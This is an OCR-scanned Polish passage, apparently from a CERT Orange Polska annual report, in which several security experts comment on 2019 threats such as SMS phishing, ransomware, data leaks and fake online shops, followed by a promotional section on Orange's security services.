Szef zespotu bezpieczenstwa niebezpiecznik.pl,
firmy zajmujacej sie wlamywaniem na serwery
innych firm za ich zgoda, w celu namierzenia
btedéw bezpieczenstwa w ich infrastrukturze
teleinformatycznej, zanim zrobia to prawdziwi
wiamywacze.

Kolejny rok, te same problemy... Chociaz bezpieczenstwo
staje sie coraz bardziej ,,popularne” i stowo security
zaczyna pojawiac sie obok tak modnych buzzwordéw

jak Al, Blockchain, ML, to analiza atakow jakie miaty
miejsce w minionym roku nie pozostawia zadnych ztudzen.
Wociaz numerem jeden w Polsce jest stara dobrze znana
socjotechnika w tandemie z phishingiem, wariant

z ,SMS-em na dopfate” i fatszywa bramkg posrednika
ptatnosci. Co byto do przewidzenia, wprowadzenie

PSD Il wcale nie zatrzymato kilku preznie dziatajacych

na polskim rynku grup trudnigcych sie tymi atakami.

Dzier w dzien zalewajg Polakéw ztosliwymi SMS-ami.
Obawiam sig, ze w 2020 r. pod tym katem nic sie nie
zmieni. W koncu patcha na ludzka naiwnos¢ wcigz nie
wynaleziono, a coraz powszechniejszy dostep do internetu,
wszechobecny pospiech i czestsza praca na matych
ekranach sprawiaja, ze ludzie sg tatwymi ofiarami. Nadzieja
dla ofiar sg zmiany w podejsciu wymiaru sprawiedliwosci

do definicji ,;azgcego zaniedbania” i kolejne wyroki
nakazujace bankom zwrdcenie wykradzionych (ze wzgledu
na ,nieuwage” ofiary) pieniedzy (por. https://niebezpiecznik.
pl/post/sad-nabranie-sie-na-phishing-nie-jest-razacym-
niedbalstwem-bank-ma-oddac-pieniadze/).

Ale nie tylko ,przecietny Kowalski” wcigz popetnia

te same bfedy i tapie sie na znane od lat ataki. Miniony

rok pokazat, ze dalej nie wszystkie firmy wiedzg jak
reagowac na infekcje ransomwarem, a spora czes$¢

z ofiar nie miata kopii bezpieczenstwa kluczowych danych.
Wocigz. Pomimo tylu gto$nych w minionych latach
przypadkéw atakdw.

Cieszy to, ze coraz wiecej firm chce edukowac swoich
klientow w zakresie bezpieczenstwa i z podniesionym
czotem opisuje ataki i incydenty dotyczace bezpieczenstwa
z jakimi przyszto im sie zmierzy¢. Cho¢ nie wszystkim

to jeszcze dobrze wychodzi. W firmowych komunikatach
nierzadko brakuje transparentnosci i zwyktego przepraszam,
a udzielane porady sa czesto zupetnie bez sensu

lub wrecz szkodliwe. Mimo wszystko opisywanie
incydentow i uswiadamianie klientéw to postawa godna
do nasladowania i wierze, ze z czasem bedzie tylko lepiej.
W minionych latach obudowali$my sie bezpiecznym
sprzetem i bezpiecznym oprogramowaniem.

Pora na ,,dobezpieczenie” ludzkich umystow.

Michat
Sajdak

Konsultant w firmie Securitum. Posiada dziesie-
cioletnie doswiadczenie w zagadnieniach zwigzanych
z technicznym bezpieczenstwem IT. Realizuje

testy penetracyjne oraz audyty bezpieczenstwa.
Prowadzi szkolenia z zakresu bezpieczenstwa.
Posiadacz certyfikatow branzowych: CISSP, CEH,
CTT+. Zatozyciel serwisu sekurak.pl.

Rok temu pisatem w Raporcie o wyciekach, kierowanym
ransomware oraz powaznych problemach w $wiecie
bezpieczenstwa smartfonéw.

W 2019 roku w znacznej mierze obawy te sie potwierdzity.
haveibeenpwned.com, popularna baza agregujaca
~Wycieki”, zawiera juz niemal 10 miliardéw unikalnych,
swycieknietych” kont. W zasadzie mozna powiedziec¢,

ze dane kazdego z nas juz gdzies ,wyciekly”. Nalezy
wiec sobie zadawac pytanie, co robi¢, aby nasze dane
tak fatwo dostepne dla cyberprzestepcow nie mogty
zosta¢ rownie tatwo wykorzystane.

Z pomocag przychodzg tu m.in. managery haset,
dwuczynnikowe uwierzytelnienie czy nowe podejscie
do ztozonosci samych haset. Wymédg budowania
bezpiecznego hasta z 8 losowych znakéw, zawierajgcych
mate, duze litery, czy inne emoji powoli staje sie
przezytkiem — nowsze badania wskazujg raczej na
odpowiednia dtugosé hasta. Coraz bardziej dyskusyjna
jest rowniez kwestia okresowego wymuszania zmiany
hasta (sporo badan wskazuje, ze takie czynnos$ci raczej
moga hasto ostabic). Silne hasto to teraz raczej:
raportorangeczytamcalkiemregularnie,

niz: Katarzyna2020!

A co z ransomware? Caly proceder staje sie coraz
ciekawszy i wyrafinowany, zmierza bowiem ku modelowi
polegajacemu na petnym ataku wymierzonym

w konkretne organizacje (majgce $rodki finansowe
pozwalajgce na zaptacenie okupu). Nastepuje tu rowniez
reczna analiza struktury sieci (w tym podatnosci),
skutkujagca jej przejeciem potgczonym z kradziezg danych.

Kropka nad i jest tu podwéjne zadanie okupu

— za deszyfracje danych oraz za nieujawnianie
wykradzionych informacji poufnych. Céz..., niejedna
firma wolataby sytuacje, trwatej utraty danych

od ich ujawnienia...

Warto tez odwiedzi¢ obszar $wiata mobilnego. Tutaj

nie zaobserwowali$my pandemii, jednak nie znaczy to,
Ze wszyscy moga spac spokojnie. W 2019 roku gtosno
byto o obecnosci w Polsce Pegasusa. Czy mozna

bez zadnych wstepnych wymogéw zainfekowac¢ oraz
szpiegowac dowolny telefon? 2019 rok przynidst kilka
interesujgcych podatnosci: luka w WhatsApp pozwalajgca
na infekcje telefonu ofiary zaledwie poprzez wykonanie
do niej ,odpowiedniej” rozmowy, podatno$¢ w Signalu
umozliwiajgca ,ciche” zmuszenie ofiary do odebrania
rozmowy, przejecie iPhone’a za pomoca ,odpowiedniej”
wiadomosci iMessage. Warto jednoczesnie pamietac,
ze wspominane przyktady to tylko czubek gory lodowe;j.
Niepublicznych exploitéw jest mndstwo — wystarczy

je kupic¢ i... uzbroic.

Sa tez nowe zjawiska, warte odnotowania. W 2019

roku na konferencji BlackHat w prezentacji: ,Infiltrating
Corporate Intranet Like NSA — Preauth RCE on

Leading SSL VPNs” pokazano, jak bez uwierzytelnienia
mozna zaatakowad/przejac serwery VPN trzech znanych
producentow. W jednym z oméwionych przypadkéw
pokazano atak na infrastrukture Twittera (tacznie

z ominieciem dwuczynnikowego uwierzytelnienia).

Od strony technicznej klasy podatnos$ci wykorzystane

w zaprezentowanych atakach sg znane od nawet
kilkunastu lat (cho¢ ich znalezienie na pewno nie byto
tatwe). Mozna powiedzieé, ze czekaty na odkrycie.

lle jeszcze takich ,,odkry¢” nas czeka? A moze nalezatoby
zapytac, kiedy zostanie odkryte, ze ,,odkrycie” miato
miejsce pare lat temu, tylko skutki tego faktu objawity
sie z pewnym opo6znieniem...

Czy w roku 2020 za przegrane bedzie mozna uznac
organizacje, ktére nie zaczety jeszcze uczy¢ sie ,cyber’?

A moze w kazdej firmie wiedza o tym, jak odeprze¢ ataki,
bedzie tak powszechna i wymagana niczym apteczka
pierwszej pomocy? Jednak, jesli juz w tym roku bedziemy
mieli do czynienia z globalnym zagrozeniem w Swiecie
cyber — to trzeba mie¢ $wiadomos¢, Zze aspiryna ze zwyktej
apteczki moze nie wystarczy¢ na takg cyberpandemie...
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Prawnik specjalizujacy sie w prawie nowych

technologii. Wspélnik kancelarii adwokackiej
Gatner&Gatner z Katowic. Zatozyciel serwisu
internetowego legalniewsieci.pl

Zakupy w sieci to obecnie codzienna praktyka.
Jednak szukajgc odpowiedniego produktu, klient
bardzo czesto traci orientacje, zwigzang ze sklepem
w ktorym kupuije.

Reklamy, pamietajgc wyniki poszukiwania, czesto
przenosza go do sklepu, ktérego kompletnie nie zna

i nie moze zweryfikowac. Najwazniejszym elementem
jest cena, ktéra zawsze przycigga. Wtasnie ten schemat
czesto powoduje, ze klienci wpadajg w sidta fatszywego
sklepu internetowego!

Kazdego dnia za pos$rednictwem legalniewsieci.pl
informujemy o zagrozeniach w sieci, a w szczegdlnosci
o fatszywych sklepach. Lista podejrzanych, do ktorej
$rednio kazdego dnia jest dopisywanych 5 sklepow,
liczy juz ponad 600. Cze$¢ z nich juz nie dziata, ale
cze$¢ z nich ma sie naprawde dobrze.

Dlaczego fatszywych sklepéw wciaz przybywa?

Fatszywy sklep to przede wszystkim bardzo dobre

i tatwe Zrodto dochodu przestepcow, ktorzy przez
okres dziatania sklepu moga sie wzbogaci¢ o znaczne
sumy pieniedzy. Co najwazniejsze, nie muszg sie

oni wykazaé szczegdlna wiedza techniczng (progra-
mistyczna), aby taki sklep stworzy¢. Obecnie kazdego
dnia czytelnicy Legalniewsieci.pl zgtaszajg $rednio

10 sklepdéw do audytu. Natomiast fatszywych sklepéw
przybywa kazdego dnia, a w miejsce zamykanego
pojawiajg sie dwa kolejne. Pomimo, ze od 17 stycznia
2020 r. obowigzuje Rozporzadzenie Parlamentu
Europejskiego i Rady (UE) dotyczgce wzmocnionej
wspétpracy w zakresie ochrony konsumentéw, ktére

umozliwia Urzedowi Ochrony Konkurencji i Konsumentow

(dalej: UOKIK) blokowanie nieuczciwych sprzedawcéw,
do tej pory tego rodzaju blokady jeszcze nie nastgpity.
Dlaczego? Przede wszystkim w przypadku fatszywego
sklepu liczy sie czas dziatania. Zdecydowanie duzo
szybciej mozna opublikowac¢ informacje ostrzegajaca
potencjalnych klientéw danego sklepu, niz doprowadzi¢
do jego blokady. Jednoczesnie czas dziatania odgrywa
tutaj najwazniejsza role. Celem fatszywego sklepu nie
sg dziatania planowane na kilka miesiecy, ale maksy-
malnie kilka dni, a najwyzej tydzien. Zdecydowanie
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najczestszym zjawiskiem jakie zaobserwowalismy jest
uruchamianie fatszywych sklepéw w piagtek, co jest

dodatkowo potgczone z intensywng kampania reklamowa

za posrednictwem Google lub Facebooka. To pozwala
na wzgledny spokdj i brak duzej ilosci negatywnych
ostrzezen, z uwagi na brak petnej aktywnosci portali
informacyjnych przez weekend. W dwa dni przestepcy
chca oszukaé swoich klientow, a po wszystkim

po prostu wytaczy¢ sklep i uzy¢ go pod nowa domena.

Reklama na Facebooku lub baner na znanym
serwisie.

Zdecydowanie gtéwnym elementem, ktéry powoduije,

ze fake sklepy sa tak skuteczne jest ich ptatna promocja.
Klienci przegladajac Facebooka trafiajg na reklamy

i pod wptywem impulsu decyduja sie na zakup w sklepie,
ktory pierwszy raz widzg. Natomiast elementem
swytaczajacym” swiadomos¢ jest nizsza cena produktu,
ktérego wczesniej szukali. Dopiero po przelaniu pieniedzy,
klienci weryfikuja sklep i starajg szybko naprawi¢

swoj btad, co w wielu przypadkach jest juz niemozliwe.
Podobnie jest w przypadku poréwnywarek cenowych,
gdzie klient zawsze odwiedza sklep, ktory oferuje
najnizszag cene produktu. Dotyczy to takze reklam
banerowych pojawiajacych sie na znanych serwisach
ogtoszeniowych, ktére wynajmuja powierzchnie dla
Google (AdSense). Klient przekonany, ze przeszedt

do sklepu, ktéry pojawiat sie na Onet.pl, Wp.pl czy Interia.
pl ma poczucie, ze jest on bezpieczny oraz wiarygodny.
Catkowicie nie zdaje sobie sprawy, ze banery te maja
charakter ptatnej reklamy, a fatszywy sklep nie ma nic
wspolnego z tymi serwisami.

Recepta?

Najlepszym rozwigzaniem, poniewaz nie wymaga
aktywnosci klientdw, jest blokowanie podejrzanych
stron przez dostawcow internetowych — tak jak ma

to miejsce w przypadku uzytkownikéw sieci Orange.

W tym przypadku nie wejda oni na strone, ktéra znalazta
sie na liScie podejrzanych sklepdw Legalniewsieci.pl,
poniewaz zostang automatycznie poinformowani

0 zagrozeniu za posrednictwem CyberTarczy. Innym
sposobem unikniecia zagrozenia, ktéry wymaga jednak
aktywnosci uzytkownika, jest wymiana informacji

np. poprzez udziat w grupie na Facebooku ,,Oszukani
przez fatszywe e-sklepy”, ktéra liczy juz blisko 2 tysigce
uzytkownikéw, a kazdego dnia powieksza sie o blisko
20 nowych.

Mirostaw
Maj

Zatozyciel i prezes Fundacji Bezpieczna Cyberprzestrzen
oraz wiceprezes spotki ComCERT SA. W latach 2017-2018
byt doradca Ministra Obrony Narodowej. Wczesniej
zwiazany z NASK, gdzie kierowat zespotem CERT Polska.
Brat udziat w tworzeniu ustawy o Krajowym Systemie
Cyberbezpieczenstwa.

Na poczatku 2019 roku na stronie internetowej naszej
Fundacji pozwolitem sobie na publikacje przewrotnego
tekstu ,Przetomowy rok w polskim cyberbezpieczenstwie”.
Przewrotnego, gdyz mimo tego, ze byt to poczatek roku
2019, opisywat on co sie ,wydarzyto” wiasnie w tymze roku.
Byt proba proroctwa, a tak naprawde zyczeniem i marzeniem
dotyczacym tego, co mogtoby sie wydarzy¢, abySmy
zdecydowanie powedrowali w kierunku znacznej poprawy
cyberbezpieczenstwa w Polsce. Co z tego wyszio? Trudno
to oceni¢ jednoznacznie. Przewidywania byty z kategorii
takich, ktére tatwo zweryfikowac, ale i bardziej niejednoznac-
znych, ktoérych ocena nie jest tatwa. Sprébuje jednak wskazaé
kilka ewidentnych przypadkow, ktére byty sukcesem,

lub chcieliby$my o nich szybko zapomnieg.

Co byto pozytywne?
Projekt promocyjno-uswiadamiajacy CYBER.MIL.PL

Najbardziej udane przedsiewziecie promocyjne w obszarze
cyberbezpieczenstwa w historii polskiej administracii
panstwowej. Przedstawiciele projektu sa praktycznie na
kazdym branzowym wydarzeniu i non stop w mediach
spotecznosciowych. Umiejetnie wigczajg w dziatania
praktyczne elementy edukacyjne, jak na przyktad
organizowany przez Narodowe Centrum Bezpieczenstwa
Cyberprzestrzeni konkurs CTF (Capture The Flag). Pozostaje
mie¢ nadzieje, ze w ramach tego projektu bedziemy mogli
stysze¢ o praktycznych sukcesach zwigzanych z budowag
wojsk cyberprzestrzeni, bo w praktyce CYBER.MIL.PL

jest czescig projektu tworzenia wojsk cyberprzestrzeni.

Wzrost jakosci funkcjonowania polskich zespotéw CSIRT

Od lat przyzwyczajeni jeste$my do dobrych notowan
najbardziej doswiadczonych polskich zespotow
reagujacych, takich jak CERT Polska czy CERT Orange
Polska, ktory jest pierwszym polskim zespotem
certyfikowanym. W 2019 r. przez proces certyfikacji
przeszty kolejne trzy polskie zespoty. Stajemy sie
europejskim liderem jesli chodzi o dojrzato$¢ zespotow
CSIRT. Najprawdopodobniej juz w tym roku Polska bedzie
miata najwiecej certyfikowanych zespotéw w Europie.
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Operacyjna konsolidacja wspoétpracy w ramach
¢wiczen Locked Shields 2019.

To éwiczenia, ktérych wyniki wielokrotnie przynosity nam
powdd do dumy. Edycja 2019 wprowadzita jeszcze jedna,
duza jakos¢ - potgczyta w reprezentacji polskiej wysitki
wielu osdb z wielu organizacji. Trudno o lepsze
przeéwiczenie wspdtpracy, w ktérej konieczne bytoby
wykorzystanie tak duzych sit. Nawet jesli wynik ¢wiczen
nie byt wymarzony (6. miejsce), to doswiadczenia
wspolnego dziatania stanowig wyjatkowa wartosc,

a w przysztosci moze by¢ znacznie lepiej.

Co byto negatywne?
Brak systemu bezpieczenstwa informacji

Nadal poruszamy sie jak dziecko we mgle w obszarze bezpie-
czenstwa informaciji, rozumianej jako walka z dezinformacja.
To postepujacy rak dla sprawy bezpieczenstwa Panstwa

i tatanie tego doraznymi dziataniami w ramach krajowe
systemu cyberbezpieczenstwa do niczego dobrego nie
prowadzi. Potrzebujemy jasnego i efektywnego systemu
organizacji bezpieczenstwa w tym obszarze. Chociazby
takiego jak opisuje to Ustawa o Krajowym Systemie
Cyberbezpieczenstwa w obszarze cyberbezpieczenstwa.

Brak sektorowych zespotow cyberbezpieczenstwa

Chyba najbardziej negatywny element realizacji zapisow o KSC.
Co prawda tzw. ,,sektorowe CSIRT-y” nie sg w ustawie wy-
mienione jako obowigzkowe, to dla wielu sektoréow sg wrecz
konieczne. Organy wtasciwie, z matymi wyjatkami w sektorze
energetycznym i finansowym, praktycznie nie dotykaja tego
tematu. Jesli w najstabszych sektorach chcemy co$ realnie
zmienic¢, to wsparcie podmiotow w tych sektorach jest konie-
czne. Tworzenie sektorowych CSIRT-6w i ISAC-6w moze
wnie$¢ absolutnie nowg jako$¢ w operacyjne dziatania.

Brak budzetu

Punkt nie wymaga wiekszego komentarza. Nadal ne mamy
realnego budzetu na cyberbezpieczenstwo. katanie sytuacji
dziwnymi mechanizmami budzetowo-grantowymi nie jest
zadnym rozwigzaniem. Trzeba to punktowaé do bdlu.

Co obserwowaé w 2020 r.?

Obserwowaé warto wszystko co powyzej, a w szczegolnosci
oczywiscie te aspekty, ktére sg do poprawy. Jednak szczegdlng
uwage nalezy skierowac na postepy prac zwigzanych z two-
rzeniem systemu teleinformatycznego, ktory zgodnie z ustawg
o krajowym systemie cyberbezpieczenstwa, najpdzniej

1 stycznia 2021 r. powinien zosta¢ dostarczony przez Minister-
stwo Cyfryzacji. W zatozeniach ma on by¢ swoistym krwio-
obiegiem dla procesu wspotpracy podmiotéw wchodzacych

w sktad Ustawy Krajowego Systemu Cyberbezpieczenstwa.

Kolejnym elementem, ktory trzeba bacznie obserwowac.
to zmiany zwigzane z szykowana nowelizacjg ustawy.
Pierwsze doswiadczenia z funkcjonowania ustawy,
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obecny (luty 2020 r.) brak pethomocnika rzagdu ds. cyber-
bezpieczenstwa, niejasnosci zwigzane z podlegtoscia
NASK, absolutnie kluczowego podmiotu w Krajowego
Systemu Cyberbezpieczenstwa (MC czy MNiSW?),
obiektywne potrzeby zwigzane z ochrona najwazniejsze;j
infrastruktury (np: w kontekscie technologii 5G)

— to wszystko moze mie¢ istotny wptyw na to jak dalej
potocza sie sprawy. Jest kilka istotnych ryzyk z tym
zwigzanych, dlatego odpowiedzialno$¢ decydentéw
jest szczegdlnie duza.

(Opinia jest fragmentem artykutu zamieszczonego
na stronie Fundacji Bezpieczna
Cyberprzestrzen — cybsecurity.org)

Daniel
Zawilinski

Zarzadza projektem SerwerSMS.pl od wczesnego etapu
start-upu, az po dojrzaly biznes skutecznie wspierajacy
komunikacje mobilna najwiekszych firm i organizaciji.

W ramach Grupy R22 S.A. oraz Vercom S.A. kieruje
bezposrednia wspotpraca z Operatorami GSM. Realizuje
innowacyjny projekt RCS w Polsce w ramach Platformy
SerwerSMS.pl, ktora zostata oficjalnym partnerem
Google Jibe. Od samego poczatku swojej Sciezki zawo-
dowej zwigzany z nowymi technologiami, marketingiem,
telekomunikacja oraz branza e-commerce.

Ze wzgledu na uniwersalno$é wiadomosci SMS, biznesowe
potrzeby jej wykorzystania rosng w ostatnim czasie bardzo
szybko. To najbezpieczniejszy i najskuteczniejszy sposdb
komunikacji A2P. Dla zachowania bezpieczenstwa kluczowa
jest inwestycja w odpowiednie rozwigzania oraz w partnera
realizujgcego skuteczng polityke bezpieczenstwa. Konieczne
w tym zakresie jest oparcie ustug o bezposrednie potgczenia
do Operatoréw GSM. Z naszych doswiadczen i obserwacji
wynika, ze zauwazalna cze$¢ atakdéw phishingowych nie

jest tylko wynikiem wycieku danych, ale réwniez powodem
powierzenia ich partnerom, ktérzy nie zapewniajg odpo-
wiedniego poziomu bezpieczenstwa. Taka optymalizacja
wynika gtéwnie z ekonomicznych pobudek i moze skutkowaé
atakami. Istnienie phishingu jest réwniez wynikiem poziomu
podatnosci na manipulacje i socjotechnike, dlatego wazna
jest edukacja i rola mediéw. Trzeba pamietac, ze edukacja
spoteczenstwa to miecz obosieczny, poniewaz potencjalni
przestepcy réwniez korzystajg z tych informacji, co odczuwamy
w ostatnim czasie bardzo mocno w postaci zwiekszonej ilosci
prob. Edukacja tak, ale w madry sposéb. Jestesmy dalecy
od Victim blamingu (obwinianie ofiary), dlatego
wypracowalismy system, ktéry rozpoznaje potencjalny

atak i mozemy pochwali¢ sie niemal 100% skutecznos$cia.
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Mysle, ze kolejnym krokiem w celu zwiekszenia globalnego
bezpieczenstwa jest Scista integracja z rozwigzaniami
zewnetrznymi, aby préby realizowane we wczesniej
wspomnianych rozwigzaniach byty rbwniez powstrzymywane.
Do takiej wspétpracy zaprosiliSmy juz kilka firm, réwniez z
rynku miedzynarodowego gdzie wzajemnie wspieramy sie

w dziataniach antyphishingowych. Czescia tych dziatan jest
rowniez Scista wspdtpraca z jednostkag CERT Orange Polska,
ktéra w naszej ocenie doskonale wpisuje sie w plan poprawy
bezpieczenstwa.

Tomasz
Szmacinski

Absolwent wydziatu informatyki na Uniwersytecie
élaskim, autor kodu jednego z najwiekszych rozwigzan
do masowej komunikacji SerwerSMS.pl. W ramach
projektu zarzadza zespotem programistéw wdrazajacych
rozwigzania do mobilnej komunikacji. Szczegdlna uwage
poswieca bezpieczenstwu swoich rozwiazan, a od kilku
lat ww. spotce Vercom S.A., realizuje rowniez wdrozenia
dla najwiekszych projektow oferujacych swoje ustugi

w modelu SaaS.

Walka z wszechobecnym phishingiem w komunikacji

SMS trwa juz jaki$ czas. Sposoby oszustw stale ewoluuja,

sg coraz bardziej skuteczne. Media nagtasniajg temat
najczesciej w kontekscie zrealizowanego ataku. Bedac

na ,pierwszej linii” mamy do czynienia z prébami atakéw
jeszcze przed tym, zanim dotrg one do odbiorcéw i potrafimy
je skutecznie zablokowaé w ramach wtasnego rozwigzania.
Komunikacja SMS powinna by¢ bezpieczna i budzi¢ zaufanie,
wiec naszym celem jest szybkie i sprawne wykrycie

fraudu oraz jego blokada. Docelowo, jesli to jest mozliwe
zgtaszamy to do odpowiednich organéw. Chcac skutecznie
zabezpieczac narazone na fraud osoby, niezbedna jest Scista
wspotpraca wielu osob, firm i instytucji. W ramach systemu
analizujacego potencjalne oszustwa praktycznie caty czas
dostosowujemy i aktualizujemy metody ich wykrywania.
Rozpoznanie potencjalnego zagrozenia jest bardzo trudne,
dlatego niezbedne byto stworzenie odpowiednich
algorytmdw, procedur organizacyjnych oraz state szkolenia
wspotpracownikdw. To przektada sie na bardzo duzg
$wiadomos$¢ wewnatrz naszej organizacji oraz wysokg
skutecznos$¢ dziatania. Obecnie wykrywamy i unieszkodliwiamy
nawet kilka tysiecy unikalnych préb miesiecznie, co oznacza
dziesiatki tysiecy zablokowanych niebezpiecznych
wiadomosci. Naszym celem jest sprawienie, aby dziatania
cyberprzestepcow przestaty byé skuteczne. Wiemy, ze
jeszcze diuga droga przed nami i naszymi partnerami.

Mamy jednak nadzieje, ze kolejne firmy i instytucje dotacza
do naszej inicjatywy i razem stworzymy skuteczniejsze
mechanizmy chronigce uzytkownikdw.

Ustugi bezpieczenstwa Orange Polska

Ustugi profesjonalne z zakresu
cyberbezpieczenstwa

Coraz wiecej doniesien medialnych o niszczycielskich
atakach, kolejnych wymaganiach bezpieczenstwa

czy karach za ich naruszenie powoduje wyrazny wzrost
zainteresowania rozwigzaniami i ustugami z dziedziny
cyberbezpieczenstwa. Coraz wiecej organizacji inwe-
stuje w specjalistyczne produkty bezpieczenstwa, firmy
zmotywowane przepisami pilnie wdrazajg systemy za-
rzadzania bezpieczenstwem informacji, kolejne przed-
siebiorstwa ogtaszajg plany budowy wtasnych centréw
operacji bezpieczenstwa (SOC). | niedtugo pdznie;j...
doktadnie te same podmioty zaczynaja rozpaczliwie
szuka¢ pomocy na rynku widzac, ze realizacja ich pla-
néw jest zagrozona. Zrédto probleméw jest w duzej
mierze wspdlne — niedostatek specjalistéw potrafigcych
dobrze wykonywac swoje obowigzki. Przyjrzyjmy

sie temu blizej...

Rozwigzania z zakresu cyberbezpieczenstwa wyma-
gaja wykwalifikowanej kadry. Mimo ze powszechnie
zachwalane sg mozliwosci automatycznego blokowania
zagrozen, w rzeczywistosci niezbedna jest ich biezaca
fachowa obstuga. Zrédta — na ktérych te rozwigzania
bazujg - potrafig przesta¢ poprawnie logowac, moga
sie pojawia¢ potrzeby dodawania wyjatkéw, rozwigzania
moga automatycznie blokowac¢ za duzo lub za mato,
trzeba czasem je zaktualizowac oraz... co jaki$ czas
trzeba przeprowadzi¢ sledztwo w sprawie incydentéw,
ktérych niestety nie udato sie zablokowac.

Nie chodzi tu bynajmniej o btedy w samym rozwigzaniu.
To uzytkownicy potrafig znalez¢ bardzo ciekawe sposoby
ominiecia zabezpieczen, a zbyt czesto spotykane

Rozwiagzania z zakresu
cyberbezpieczenstwa
wymagaja wykwalifikowanej
kadry. Mimo ze powszechnie
zachwalane s3 mozliwosci

automatycznego blokowania
zagrozen, w rzeczywistosci
niezbedna jest ich biezaca
fachowa obstuga.

niedociggniecia w zakresie biezacej obstugi

IT - jak np. brak poprawek bezpieczenstwa, dodatkowo
to utatwiajg. Zakup ,kolejnego pudetka” do serwerowni
jest prosty i szybki, jego poprawna obstuga niejedno-
krotnie przekracza mozliwosci (przynajmniej czasowe)
niewyspecjalizowanych zespotéw IT. W Orange Polska
podchodzimy inaczej do tego zagadnienia. Staramy sie
przekonac klientéw, by wraz z najlepszymi rozwigzaniami,
ktére sa w naszej ofercie, skorzystali rowniez z pakie-
téw ustug utrzymania, monitorowania i reagowania na
incydenty. Nawet najlepsza technologia przy braku
biezacego utrzymania, zdegraduje po jakims czasie
swoje funkcje bezpieczenstwa i przestanie spetniac
swojg role. Jezeli Twoja firma decyduje wtasnie

o zakupie rozwigzan w zakresie cyberbezpieczenstwa,
warto aby wczesniej potwierdzita, kto zajmie sie takimi
zagadnieniami jak:

m  wskazanie miejsca platformy w ramach posiadanej
architektury cyberbezpieczenstwa;
przygotowanie platform sprzetowych;
instalacja i konfiguracja rozwigzania;
przygotowanie dokumentaciji technicznej;
konfiguracja polityk bezpieczenstwa;
utrzymywanie platformy, reagowanie na btedy
i awarie; biezace utrzymywanie i doskonalenie polityk
bezpieczenstwa;
® monitorowanie zgtoszen o incydentach
identyfikowanych przez platforme;
m reagowanie na incydenty bezpieczenstwa,
w tym eliminacja false-positive.

Podobnie wyglada sytuacja organizacji, ktére chcag
wdrozy¢ systemy zarzgdzania bezpieczenstwem
informaciji. Czesto dochodzg do s$ciany zanim jeszcze
projekt wystartuje. Jak bowiem potwierdzi¢ kompeten-
cje osob, ktére beda wdrazac i utrzymywacé system

W Orange Polska
podchodzimy inaczej

do tego zagadnienia.
Staramy sie przekonac
klientow, by wraz

z najlepszymi rozwiazaniami,
ktore sa w naszej ofercie,
skorzystali rowniez

z pakietow ustug utrzymania,
monitorowania i reagowania
na incydenty.
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zarzgdzania? Jak wybraé dobre rozwigzania nie stosujac
»100% ceny” jako jedynego kryterium? Kto fizycznie

bedzie wykonywat typowe codzienne obowigzki i zarzagdzat
szeregiem inicjatyw sktadajgcych sie na system zarzgdzania
bezpieczenstwem informaciji? Kazda firma, ktéra zacznie

w sposéb uporzadkowany podchodzi¢ do zagadnien
zwigzanych z ochrong informacji zobaczy, ze jednym

z gtéwnych wyzwan bedzie zidentyfikowanie,

kto jako CISO (Chief Information Security Officer)

bedzie zajmowac sie takimi zagadnieniami jak np.:

identyfikowanie ryzyk;

proponowanie zabezpieczen;

generowanie wymagan bezpieczenstwa;

nadzor nad oraz realizacja testow bezpieczenstwa
(podatnosci, penetracyjnych, socjotechnicznych,
organizacyjnych...);

akceptowanie wyjatkéw bezpieczenstwa;
realizacja oraz testowanie skutecznosci programow
budowania swiadomosci pracownikéw;

tworzenie oraz nadzor nad realizacjg zadan
przewidzianych w harmonogramach czynnosci.

Wydaje sie, ze panaceum na te problemy niekiedy staje sie
magiczne hasto ,zbudujemy sobie SOC”. Jednak, gdy firmy
zorientuja sie ile unikalnych specjalizaciji jest potrzebnych,
by monitorowac i reagowac na incydenty bezpieczenstwa
oraz jak drogie sg rozwigzania dla takich centréw i ilu
programistow musza zatrudniaé, by zbudowac sobie
wtasne bazujac na rozwigzaniach open-source — to pomyst
przestaje byc¢ tak atrakcyjny finansowo. Szczegdlinie,

gdy osoby zarzadzajgce uswiadomig sobie, ze Security
Operations Center z zatozenia monitoruje i reaguje na
incydenty, ale nie zajmuje sie innymi zadaniami
wchodzacymi w zakres roli CISO.

Niedostatek wyszkolonych specjalistéw, kosztowne
wdrazanie i utrzymanie narzedzi bezpieczenstwa
oraz czesto spotykana monotonia zaje¢ (przeciez

nie na wszystkie firmy jest codziennie przeprowadzany
zaawansowany atak, ktory podnosi cisnienie i wyzwala
endorfiny) powoduja, ze bardzo trudno jest zbudowac

i utrzymac wieloosobowy zespot, ktory na co dzien
zajmuje sie ochrong informacji. Tym samym coraz wiekszg
popularnos¢ zdobywajg rozmaite profesjonalne ustugi

w zakresie cyberbezpieczenstwa. Moga one dotyczy¢
wdrazania i utrzymywania narzedzi bezpieczenstwa,
monitorowania i reagowania na incydenty w ramach

ustug SOC czy wrecz kompleksowego CISO-as-a-Service.
Opisane dos$wiadczenia sktonity nas (Orange Polska

oraz Integration Solutions) do przygotowania
kompleksowego pakietu ustug, ktére dzis juz nie
ograniczajg sie do platformowych zabezpieczen
sieciowych i $wiadczenia ustugi SOC. Podczas rozméw

z klientami zauwazyli$my, ze mate oraz $redniej wielkos$ci
firmy, chca sie skupi¢ na swojej gtéwnej dziatalnosci
biznesowej, przy jednoczesnym wtasciwym zabezpieczeniu
danych firmowych oraz klientéw. Mimo dobrych checi
czesto nie moga sobie pozwoli¢ na budowanie zespotdéw
bezpieczenstwa i zatrudnianie ekspertow na peten etat,
gdyz bytoby to niekorzystne finansowo. Wtasnie dla

nich stworzyliSmy pakiet ustug doradczych, ktéry

wspiera klientéw w identyfikacji luk bezpieczenstwa
(technologicznych i organizacyjnych), biezgcym zarzadzaniu
bezpieczenstwem, jak i spéjnym rozwijaniu architektury
bezpieczenstwa firmy. Tym samym, przejmujemy
zobowigzanie zapewnienia bezpieczenstwa wewnetrznego
firmy, jej danych i zasobdw teleinformatycznych. Orange
Polska i Integrated Solutions sa juz nie tylko dostawca
ustug i integratorem, ale partnerem bezpieczenstwa
naszych Klientow.

Po wiecej informacji skontaktuj sie ze swoim doradcg
Orange i Integrated Solutions lub napisz na adres
cybsecurity@orange.com
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Czy zaklejasz wlasciwa
kamere?

Przez ostatnie trzy lata zagtebiajac sie w tres¢ publiko-
wanych Raportéw CERT Orange Polska obserwuje
szalefnczy wzrost zagrozen kierowanych na urzadzenia
mobilne. Ciezko mi tez znalez¢ agende organizowanych
konferencji branzowych bez poruszanego problemu.
Rozmawiajgc z ekspertami do spraw cyberbezpieczen-
stwa otrzymuje mnéstwo informacji jak bardzo takomym
kaskiem sg dla przestepcéw nasze urzadzenia

